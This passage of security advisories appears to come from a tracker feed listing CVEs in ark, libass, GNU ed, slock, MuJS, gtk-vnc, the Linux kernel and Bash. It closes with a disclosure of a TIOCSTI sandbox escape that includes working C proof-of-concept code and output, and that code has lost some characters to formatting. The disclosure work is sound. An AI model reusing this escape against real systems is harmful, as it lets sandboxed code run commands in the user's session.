ark before 16.12.1 might allow remote attackers to execute arbitrary code via an executable in an archive, related to associated applications.

The checkallocations function in libass/assshaper.c in libass before 0.13.4 allows remote attackers to cause a denial of service (memory allocation failure) via unspecified vectors.

Buffer overflow in the calccoeff function in libass/assblur.c in libass before 0.13.4 allows remote attackers to cause a denial of service via unspecified vectors.

Last updated 25 August 2025

regex.c in GNU ed before 1.14.1 allows attackers to cause a denial of service (crash) via a malformed command, which triggers an invalid free.

slock allows attackers to bypass the screen lock via vectors involving an invalid password hash, which triggers a NULL pointer dereference and crash.

Integer overflow in the jsregcomp function in regexp.c in Artifex Software, Inc. MuJS before commit b6de34ac6d8bb7dd5461c57940acfbd3ee7fd93e allows attackers to cause a denial of service (application crash) via a crafted regular expression.

gtk-vnc before 0.7.0 does not properly check boundaries of subrectangle-containing tiles, which allows remote servers to execute arbitrary code via the src x, y coordinates in a crafted (1) rre, (2) hextile, or (3) copyrect tile.

A race condition was found in the way Linux kernel's memory subsystem handled breakage of the read only private mappings COW situation on write access.

An unprivileged local user could use this flaw to gain write access to otherwise read only memory mappings and thus increase their privileges on the system.

Red Hat is aware of this issue and if you have questions about the affectedness of your system please contact Red Hat Support. For additional information see https://access.redhat.com/security/vulnerabilities/2706661

Libass released a new 0.13.4 version which fixes multiple issues. CVE-2016-7971 remains unfixed for now.

CVE-2016-7969 upstream patch:

https://github.com/libass/libass/pull/240/commits/b72b283b936a600c730e00875d7d067bded3fc26

CVE-2016-7970 upstream patch:

https://github.com/libass/libass/pull/240/commits/08e754612019ed84d1db0d1fc4f5798248decd75

CVE-2016-7972 upstream patch:

https://github.com/libass/libass/pull/240/commits/aa54e0b59200a994d50a346b5d7ac818ebcf2d4b

External References:

https://github.com/libass/libass/releases/tag/0.13.4

Bash before 4.4 allows local users to execute arbitrary commands with root privileges via crafted SHELLOPTS and PS4 environment variables.

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.